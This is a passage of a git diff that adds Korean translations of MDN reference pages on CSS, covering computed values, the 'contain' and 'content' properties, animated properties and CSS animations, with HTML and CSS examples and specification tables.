+<p>그러나, <code>width</code>, <code>margin-right</code>, <code>text-index</code>, <code>top</code>과 같이, 백분율의 값을 알아내려면 레이아웃부터 계산해야 하는 속성의 백분율 지정값은 백분율 계산값이 됩니다. 추가로, <code>line-height</code> 속성의 단위 없는 값도 그대로 계산값이 됩니다. 이렇게 남겨진 상대적 계산값은 <a href="/ko/docs/Web/CSS/used_value">사용값</a>을 구할 때 절댓값이 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong>{{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API는 <a href="/ko/docs/Web/CSS/resolved_value">결정값</a>을 반환합니다. 결정값은 속성에 따라 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>일 수도, <a href="/ko/docs/Web/CSS/used_value">사용값</a>일 수도 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}</td>
+ <td>{{Spec2("CSS2.2")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Reference">CSS Reference</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/contain/index.html b/files/ko/web/css/contain/index.html
new file mode 100644
index 0000000000..64eb9eba4a
--- /dev/null
+++ b/files/ko/web/css/contain/index.html
@@ -0,0 +1,206 @@
+---
+title: contain
+slug: Web/CSS/contain
+tags:
+ - CSS
+ - CSS Containment
+ - CSS Property
+ - Reference
+ - Web
+ - 'recipe:css-property'
+translation_of: Web/CSS/contain
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>contain</code></strong> 속성은 특정 요소와 콘텐츠가 문서 트리의 다른 부위와 독립되어있음을 나타낼 때 사용합니다. 브라우저는 이 정보를 사용해 레이아웃, 스타일, 페인트, 크기, 또는 그 조합의 계산을 전체 페이지 DOM 대신 일부에서만 수행할 수 있으므로 뚜렷한 성능 상 이점을 얻을 수 있습니다.</p>
+
+<p><code>contain</code> 속성은 위젯 내부 콘텐츠가 외부에 부작용을 끼치는 것을 방지할 수 있으므로 서로 독립된 많은 양의 위젯이 존재하는 페이지에서 유용합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>paint</code>, <code>strict</code>, <code>content</code> 값을 설정할 경우 다음을 생성합니다.</p>
+
+<ol>
+ <li>새로운 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> ({{cssxref("position")}} 속성이 <code>absolute</code> 또는 <code>fixed</code>인 자손을 위함).</li>
+ <li>새로운 <a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">쌓임 맥락</a>.</li>
+ <li>새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>.</li>
+</ol>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+contain: none;
+contain: strict;
+contain: content;
+contain: size;
+contain: layout;
+contain: style;
+contain: paint;
+
+/* 다중 값 */
+contain: size paint;
+contain: size layout paint;
+
+/* 전역 값 */
+contain: inherit;
+contain: initial;
+contain: unset;</pre>
+
+<p><code>contain</code> 속성은 다음 방법 중 하나를 사용해 지정합니다.</p>
+
+<ul>
+ <li><code>none</code>, <code>strict</code>, <code>content</code> 키워드 중 하나를 사용.</li>
+ <li><code>size</code>, <code>layout</code>, <code>style</code>, <code>paint</code> 키워드를 임의 순서로 하나 이상 사용.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>아무것도 격리하지 않고 요소를 평범하게 렌더링합니다.</dd>
+ <dt><code>strict</code></dt>
+ <dd><code>style</code>을 제외한 모든 격리 규칙을 적용합니다. <code>contain: size layout paint</code>와 같습니다.</dd>
+ <dt><code>content</code></dt>
+ <dd><code>size</code>와 <code>style</code>을 제외한 모든 격리 규칙을 적용합니다. <code>contain: layout paint</code>와 같습니다.</dd>
+ <dt><code>size</code></dt>
+ <dd>요소의 크기를 계산할 때 자손의 크기는 고려하지 않아도 됨을 나타냅니다.</dd>
+ <dt><code>layout</code></dt>
+ <dd>요소 외부의 어느 것도 내부 레이아웃에 영향을 주지 않고, 그 반대도 성립함을 나타냅니다.</dd>
+ <dt><code>style</code></dt>
+ <dd>요소 자신과 자손 외에도 영향을 주는 속성이라도 그 영향 범위가 자신을 벗어나지 않음을 나타냅니다. 이 값은 명세에서 "제외 고려" 대상이므로 모든 브라우저가 지원하지 않을 수도 있음을 참고하세요.</dd>
+ <dt><code>paint</code></dt>
+ <dd>요소의 자손이 자신의 범위 바깥에 그려지지 않음을 나타냅니다. 이 값을 지정한 요소의 경우, 요소가 화면 밖에 위치할 경우 당연히 그 안의 자손도 화면 안에 들어오지 않을 것이므로 브라우저는 그 안의 요소를 고려하지 않아도 됩니다. 그러나 만약 자손이 범위 밖으로 넘칠 경우에는 요소의 테두리 상자에서 잘라냅니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_레이아웃">간단한 레이아웃</h3>
+
+<p>다음 마크업은 각각의 콘텐츠를 가진 여러 개의 글을 가정합니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+  &lt;p&gt;Content here.&lt;/p&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+  &lt;img src="graphic.jpg" alt="photo"&gt;
+  &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>각 <code>&lt;article&gt;</code>과 <code>&lt;img&gt;</code>엔 테두리를 부여하고, 이미지는 모두 좌측으로 플로팅합니다.</p>
+
+<pre class="brush: css notranslate">img {
+ float: left;
+ border: 3px solid black;
+}
+
+article {
+ border: 1px solid black;
+}</pre>
+
+<p>{{EmbedLiveSample('간단한_레이아웃', '100%', '300')}}</p>
+
+<h3 id="플로팅_간섭">플로팅 간섭</h3>
+
+<p>첫 번째 글의 마지막에 다른 이미지를 넣게 되면 많은 양의 DOM 트리가 다시 레이아웃이나 페인트 과정을 거쳐야 하며, 두 번째 글의 레이아웃에도 간섭하게 됩니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+  &lt;p&gt;Content here.&lt;/p&gt;
+  &lt;img src="i-just-showed-up.jpg" alt="social"&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+  &lt;img src="graphic.jpg" alt="photo"&gt;
+  &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">img {
+ float: left;
+ border: 3px solid black;
+}
+
+article {
+ border: 1px solid black;
+}</pre>
+</div>
+
+<p>아래의 라이브 샘플에서, 플로팅 작동 방식으로 인해 첫 번째 이미지가 두 번째 글 안으로 들어가버린 모습을 볼 수 있습니다.</p>
+
+<p>{{EmbedLiveSample('플로팅_간섭', '100%', '300')}}</p>
+
+<h3 id="contain으로_수정하기"><code>contain</code>으로 수정하기</h3>
+
+<p>각각의 <code>article</code>에 <code>contain: content</code>를 지정해주면, 새로운 요소를 추가할 때 그 하위 트리만 계산하고 바깥은 고려하지 않아도 된다는 것을 브라우저가 인식합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+ &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+ &lt;p&gt;Content here.&lt;/p&gt;
+ &lt;img src="i-just-showed-up.jpg" alt="social"&gt;
+&lt;/article&gt;
+&lt;article&gt;
+ &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+ &lt;img src="graphic.jpg" alt="photo"&gt;
+ &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+</div>
+
+<pre class="brush: css notranslate">img {
+ float: left;
+ border: 3px solid black;
+}
+
+article {
+ border: 1px solid black;
+ contain: content;
+}</pre>
+
+<p>또한 첫 번째 이미지가 플로팅으로 인해 아래로 넘어가지 않고, 컨테이너 요소의 범위 안에 머무르는 것도 확인할 수 있습니다.</p>
+
+<p>{{EmbedLiveSample('contain으로_수정하기', '100%', '330')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Containment', '#contain-property', 'contain')}}</td>
+ <td>{{Spec2('CSS Containment')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.contain")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Containment">CSS Containment</a></li>
+ <li>CSS {{cssxref("position")}} 속성</li>
+</ul>
diff --git a/files/ko/web/css/content/index.html b/files/ko/web/css/content/index.html
new file mode 100644
index 0000000000..c06271b05d
--- /dev/null
+++ b/files/ko/web/css/content/index.html
@@ -0,0 +1,297 @@
+---
+title: content
+slug: Web/CSS/content
+tags:
+ - CSS
+ - CSS Counter
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/content
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>content</code></strong> 속성은 생성한 값으로 요소를 대체합니다. <code>content</code> 속성으로 추가한 요소는 "익명 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>"입니다.</p>
+
+<pre class="brush:css no-line-numbers">/* 다른 값과 조합할 수 없는 키워드 */
+content: normal;
+content: none;
+
+/* <a href="/ko/docs/Web/CSS/image">&lt;image&gt;</a> 값 */
+content: url("http://www.example.com/test.png");
+content: linear-gradient(#e66465, #9198e5);
+
+/* 생성한 값의 대체 텍스트, Level 3 명세에서 추가 */
+content: url("http://www.example.com/test.png") / "This is the alt text";
+
+/* 앞선 값은 모두 ::before와 ::after에만 적용 가능 */
+
+/* &lt;string&gt; 값 */
+content: "prefix";
+
+/* &lt;counter&gt; 값 */
+content: counter(chapter_counter);
+content: counters(section_counter, ".");
+
+/* HTML 속성값으로 연결하는 attr() */
+content: attr(value string);
+
+/* 언어와 요소 위치 기반 키워드 */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* normal과 none을 제외하면 여러 키워드를 함께 사용할 수 있음 */
+content: open-quote chapter_counter;
+
+/* 전역 값 */
+content: inherit;
+content: initial;
+content: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>의사 요소를 생성하지 않음.</dd>
+ <dt><code>normal</code></dt>
+ <dd><code>::before</code>와 <code>::after</code> 의사 요소인 경우 <code>none</code>.</dd>
+ <dt>{{cssxref("&lt;string&gt;")}}</dt>
+ <dd>요소의 "대체 텍스트". 모든 숫자와 문자가 가능합니다. 단, 라틴계 문자가 아닌 경우 유니코드 이스케이프 시퀀스를 사용해 인코딩해야 합니다. 예를 들어, <code>\000A9</code>는 저작권 기호입니다.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>{{cssxref("&lt;url&gt;")}}이나 {{cssxref("&lt;gradient&gt;")}} 자료형을 사용한 {{cssxref("&lt;image&gt;")}}, 또는 {{cssxref("element")}} 함수를 사용해 가리킨, 보여줄 웹페이지의 일부.</dd>
+ <dt>{{cssxref("&lt;counter&gt;")}}</dt>
+ <dd>보통 숫자인 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터 값</a>.{{cssxref("counter")}}나 {{cssxref("counters")}} 함수를 사용해 지정할 수 있습니다.</dd>
+ <dd>
+ <p>{{cssxref("counter")}} 함수는 'counter(<var>name</var>)'과 'counter(<var>name</var>, <var>style</var>)'의 두 형태를 가지고 있습니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 가장 안쪽 카운터의 값입니다. 지정한 스타일(기본 <code>decimal</code>)에 맞춰 서식을 적용합니다.</p>
+
+ <p>{{cssxref("counters")}} 함수 역시 'counters(<var>name</var>, <var>string</var>)'과 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'의 두 형태를 가집니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 카운터 값의 목록으로 바깥쪽부터 시작하며 주어진 문자열을 사용해 구분합니다. 지정한 스타일(기본 <code>decimal</code>)에 맞춰 서식을 적용합니다..</p>
+ </dd>
+ <dt><code>attr(x)</code></dt>
+ <dd>문자열로 변환한, 요소 속성 <code>x</code>의 값. <code>x</code> 속성이 존재하지 않으면 빈 문자열을 반환합니다. 속성명의 대소문자 구분 여부는 문서 언어에 따릅니다.</dd>
+ <dt><code>open-quote</code> | <code>close-quote</code></dt>
+ <dd>{{cssxref("quotes")}} 속성에서 가져온 적절한 문자열을 사용해 대체.</dd>
+ <dt><code>no-open-quote</code> | <code>no-close-quote</code></dt>
+ <dd>콘텐츠는 추가하지 않고, 대신 따옴표의 중첩 단계를 증감.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="헤딩과_따옴표">헤딩과 따옴표</h3>
+
+<p>다음 예제는 인용구 주변에 따옴표를 추가하고, 헤딩 앞에 단어 "Chapter"를 추가합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h1&gt;5&lt;/h1&gt;
+&lt;p&gt;According to Sir Tim Berners-Lee,
+ &lt;q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet"&gt;I was
+ lucky enough to invent the Web at the time when the Internet
+ already existed - and had for a decade and a half.&lt;/q&gt;
+ We must understand that there is nothing fundamentally wrong
+ with building on the contributions of others.
+&lt;/p&gt;
+
+&lt;h1&gt;6&lt;/h1&gt;
+&lt;p&gt;According to the Mozilla Manifesto,
+ &lt;q cite="http://www.mozilla.org/en-US/about/manifesto/"&gt;Individuals
+ must have the ability to shape the Internet and
+ their own experiences on the Internet.&lt;/q&gt;
+ Therefore, we can infer that contributing to the open web
+ can protect our own individual experiences on it.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">q {
+ color: blue;
+}
+
+q::before {
+ content: open-quote;
+}
+
+q::after {
+ content: close-quote;
+}
+
+h1::before {
+ content: "Chapter "; /* The trailing space creates separation
+ between the added content and the
+ rest of the content */
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('헤딩과_따옴표', '100%', 200)}}</p>
+
+<h3 id="이미지와_텍스트">이미지와 텍스트</h3>
+
+<p>다음 예제는 링크 앞에 이미지를 추가합니다. 이미지를 가져오지 못한 경우 텍스트를 대신 추가합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;a href="http://www.mozilla.org/en-US/"&gt;Mozilla Home Page&lt;/a&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">a::before {
+ content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") " MOZILLA: ";
+ font: x-small Arial, sans-serif;
+ color: gray;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('이미지와_텍스트', '100%', 60)}}</p>
+
+<h3 id="클래스_사용">클래스 사용</h3>
+
+<p>다음 예제는 목록의 특별한 항목 뒤에 추가 텍스트를 삽입합니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Paperback Best Sellers&lt;/h2&gt;
+&lt;ol&gt;
+ &lt;li&gt;Political Thriller&lt;/li&gt;
+ &lt;li class="new-entry"&gt;Halloween Stories&lt;/li&gt;
+ &lt;li&gt;My Biography&lt;/li&gt;
+ &lt;li class="new-entry"&gt;Vampire Romance&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.new-entry::after {
+ content: " New!"; /* The leading space creates separation
+ between the added content and the
+ rest of the content */
+ color: red;
+}</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample('클래스_사용', '100%', 160)}}</p>
+
+<h3 id="이미지와_요소_속성">이미지와 요소 속성</h3>
+
+<p>다음 예제는 링크 앞에 이미지를 추가하고, 뒤에 <code>id</code> 속성의 값을 붙입니다.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;&lt;a id="moz" href="http://www.mozilla.org/"&gt;
+ Mozilla Home Page&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a id="mdn" href="https://developer.mozilla.org/"&gt;
+ Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">a {
+ text-decoration: none;
+ border-bottom: 3px dotted navy;
+}
+
+a::after {
+ content: " (" attr(id) ")";
+}
+
+#moz::before {
+ content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") ;
+}
+
+#mdn::before {
+ content: url("https://mdn.mozillademos.org/files/7691/mdn-favicon16.png") ;
+}
+
+li {
+ margin: 1em;
+}
+</pre>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{EmbedLiveSample('이미지와_요소_속성', '100%', 160)}}</p>
+
+<h3 id="요소_대체">요소 대체</h3>
+
+<p>다음 예제는 요소의 콘텐츠를 이미지로 대체합니다. {{cssxref("&lt;url&gt;")}} 또는 {{cssxref("&lt;image&gt;")}} 사용하면 콘텐츠를 대체합니다. 요소를 대체했으므로 <code>::before</code>나 <code>::after</code>는 생성하지 않습니다.</p>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;div id="replaced"&gt;Mozilla&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css">#replaced {
+ content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* will not show if element replacement is supported */
+ content: " (" attr(id) ")";
+}</pre>
+
+<h4 id="결과_5">결과</h4>
+
+<p>{{EmbedLiveSample('요소_대체', '100%', 200)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>CSS로 생성한 콘텐츠는 <a href="/ko/docs/Web/API/Document_Object_Model/소개">DOM</a>이 포함하지 않고, <a href="/ko/docs/Learn/접근성/What_is_accessibility">접근성 트리</a>에도 들어가지 않습니다. 따라서 특정 접근성 기술/브라우저 조합이 내용을 표현하지 않을 수 있습니다. 콘텐츠가 포함한 정보가 페이지의 목적을 이해하는 것에 중요하다면 주 문서로 포함하는 것이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">Accessibility support for CSS generated content – Tink</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Explanation of WCAG, Guideline 1.3 – MDN</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Content", "#content-property", "content")}}</td>
+ <td>{{Spec2("CSS3 Content")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "generate.html#content", "content")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.content")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{Cssxref("::before")}}</li>
+ <li>{{Cssxref("::marker")}}</li>
+ <li>{{Cssxref("quotes")}}</li>
+ <li>{{cssxref("url()")}} 함수</li>
+</ul>
diff --git a/files/ko/web/css/css_animated_properties/index.html b/files/ko/web/css/css_animated_properties/index.html
new file mode 100644
index 0000000000..4f492a157d
--- /dev/null
+++ b/files/ko/web/css/css_animated_properties/index.html
@@ -0,0 +1,14 @@
+---
+title: CSS animated properties
+slug: Web/CSS/CSS_animated_properties
+tags:
+ - CSS
+translation_of: Web/CSS/CSS_animated_properties
+---
+<p>{{CSSRef}}</p>
+
+<p>일부 CSS 속성은 애니메이션될 수 있습니다, 즉 그 값을 바꿀 때 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS animation</a> 또는 <a href="/ko/docs/Web/CSS/CSS_Transitions">CSS transition</a>이 사용된 경우 부드러운 방식으로 바꿀 수 있습니다.</p>
+
+<p>다음은 애니메이션 가능한 속성 목록입니다:</p>
+
+<p>{{CSSAnimatedProperties}}</p>
diff --git a/files/ko/web/css/css_animations/index.html b/files/ko/web/css/css_animations/index.html
new file mode 100644
index 0000000000..5740301594
--- /dev/null
+++ b/files/ko/web/css/css_animations/index.html
@@ -0,0 +1,87 @@
+---
+title: CSS Animations
+slug: Web/CSS/CSS_Animations
+tags:
+ - CSS
+ - CSS Animations
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Animations
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Animations</strong> is a module of CSS that lets you animate the values of CSS properties over time, using keyframes. The behavior of these keyframe animations can be controlled by specifying their timing function, duration, their number of repetitions, and other attributes.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation-delay")}}</li>
+ <li>{{cssxref("animation-direction")}}</li>
+ <li>{{cssxref("animation-duration")}}</li>
+ <li>{{cssxref("animation-fill-mode")}}</li>
+ <li>{{cssxref("animation-iteration-count")}}</li>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("animation-play-state")}}</li>
+ <li>{{cssxref("animation-timing-function")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_At-rules">CSS At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@keyframes")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Detecting_CSS_animation_support">Detecting CSS animation support</a></dt>
+ <dd>Describes a technique for detecting if a browser supports CSS animations.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Using CSS animations</a></dt>
+ <dd>Step-by-step tutorial about how to create animations using CSS. This article describes each relevant CSS property and at-rule and explains how they interact with each other.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Tips">CSS animations tips and tricks</a></dt>
+ <dd>Tips and tricks to help you get the most out of CSS animations. Currently offers a technique for replaying an animation which has already run through to completion, which the API doesn't support inherently.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Animations') }}</td>
+ <td>{{ Spec2('CSS3 Animations') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="animation_property"><code>animation</code> property</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.animation")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related to CSS Animations, <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a> can trigger animations based on user actions.</li>
+</ul>
diff --git a/files/ko/web/css/css_animations/using_css_animations/index.html b/files/ko/web/css/css_animations/using_css_animations/index.html
new file mode 100644
index 0000000000..416e3fc515
--- /dev/null
+++ b/files/ko/web/css/css_animations/using_css_animations/index.html
@@ -0,0 +1,330 @@
+---
+title: CSS 애니메이션 사용하기
+slug: Web/CSS/CSS_Animations/Using_CSS_animations
+tags:
+ - Advanced
+ - CSS
+ - CSS Animations
+ - Example
+ - Experimental
+ - Guide
+translation_of: Web/CSS/CSS_Animations/Using_CSS_animations
+---
+<p>{{SeeCompatTable}}{{CSSRef}}</p>
+
+<p><strong>CSS3 애니메이션</strong>은 엘리먼트에 적용되는 CSS 스타일을 다른 CSS 스타일로 부드럽게 전환시켜 줍니다. 애니메이션은 애니메이션을 나타내는 CSS 스타일과 애니메이션의 중간 상태를 나타내는 키프레임들로 이루어집니다.</p>
+
+<p>CSS 애니메이션은 기존에 사용되던 스크립트를 이용한 애니메이션 보다 다음 세 가지 이유에서 이점을 가집니다.</p>
+
+<ol>
+ <li>자바스크립트를 모르더라도 간단하게 애니메이션을 만들 수 있습니다.</li>
+ <li>자바스크립트를 이용한 애니메이션은 잘 만들어졌더라도 성능이 좋지 못할때가 있습니다. CSS 애니메이션은 frame-skipping 같은 여러 기술을 이용하여 최대한 부드럽게 렌더링됩니다.</li>
+ <li>브라우저는 애니메이션의 성능을 효율적으로 최적화할 수 있습니다. 예를 들어 현재 안보이는 엘리먼트에 대한 애니메이션은 업데이트 주기를 줄여 부하를 최소화할 수 있습니다.</li>
+</ol>
+
+<h2 id="애니메이션_적용하기">애니메이션 적용하기</h2>
+
+<p>CSS 애니메이션을 만드려면 {{ cssxref("animation") }} 속성과 이 속성의 하위 속성을 지정합니다. 애니메이션의 총 시간과 반복 여부등을 지정할 수 있습니다. 이 속성은 애니메이션의 중간상태를 기술하지 않는다는걸 명심하세요. 애니메이션의 중간 상태는 아래에서 다룰 {{ cssxref("@keyframes") }}  규칙을 이용하여 기술합니다. </p>
+
+<p>{{ cssxref("animation") }} 속성의 하위 속성은 다음과 같습니다.</p>
+
+<dl>
+ <dt>{{ cssxref("animation-delay") }}</dt>
+ <dd>엘리먼트가 로드되고 나서 언제 애니메이션이 시작될지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-direction") }}</dt>
+ <dd>애니메이션이 종료되고 다시 처음부터 시작할지 역방향으로 진행할지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-duration") }}</dt>
+ <dd>한 싸이클의 애니메이션이 얼마에 걸쳐 일어날지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-iteration-count") }}</dt>
+ <dd>애니메이션이 몇 번 반복될지 지정합니다. <code>infinite</code>로 지정하여 무한히 반복할 수 있습니다.</dd>
+ <dt>{{ cssxref("animation-name") }}</dt>
+ <dd>이 애니메이션의 중간 상태를 지정합니다. 중간 상태는  {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다.</dd>
+ <dt>{{ cssxref("animation-play-state") }}</dt>
+ <dd>애니메이션을 멈추거나 다시 시작할 수 있습니다.</dd>
+ <dt>{{ cssxref("animation-timing-function") }}</dt>
+ <dd>중간 상태들의 전환을 어떤 시간간격으로 진행할지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-fill-mode") }}</dt>
+ <dd>애니메이션이 시작되기 전이나 끝나고 난 후 어떤 값이 적용될지 지정합니다.</dd>
+</dl>
+
+<h2 id="키프레임을_이용하여_애니메이션의_중간상태_기술하기">키프레임을 이용하여 애니메이션의 중간상태 기술하기</h2>
+
+<p>애니메이션의 중간 상태를 기술해 봅시다. {{ cssxref("@keyframes") }} 규칙을 이용해서 두개 이상의 중간 상태를 기술합니다. 각 중간 상태는 특정 시점에 엘리먼트가 어떻게 보일지 나타냅니다. </p>
+
+<p>CSS 스타일을 이용해 중간 상태에 어떻게 보일지 정의했다면 이 중간 상태가 전체 애니메이션에서 언제 등장할 지 {{ cssxref("percentage") }} 를 이용해 지정합니다. 0%는 애니메이션이 시작된 시점을 의미하고 100%는 애니메이션이 끝나는 시점을 의미합니다. 최소한 이 두 시점은 기술되어야 브라우저가 언제 애니메이션이 시작되고 끝나는지 알 수 있습니다. 0%와 100% 대신 <code>from</code> 과 <code>to</code>로 사용할 수도 있습니다.</p>
+
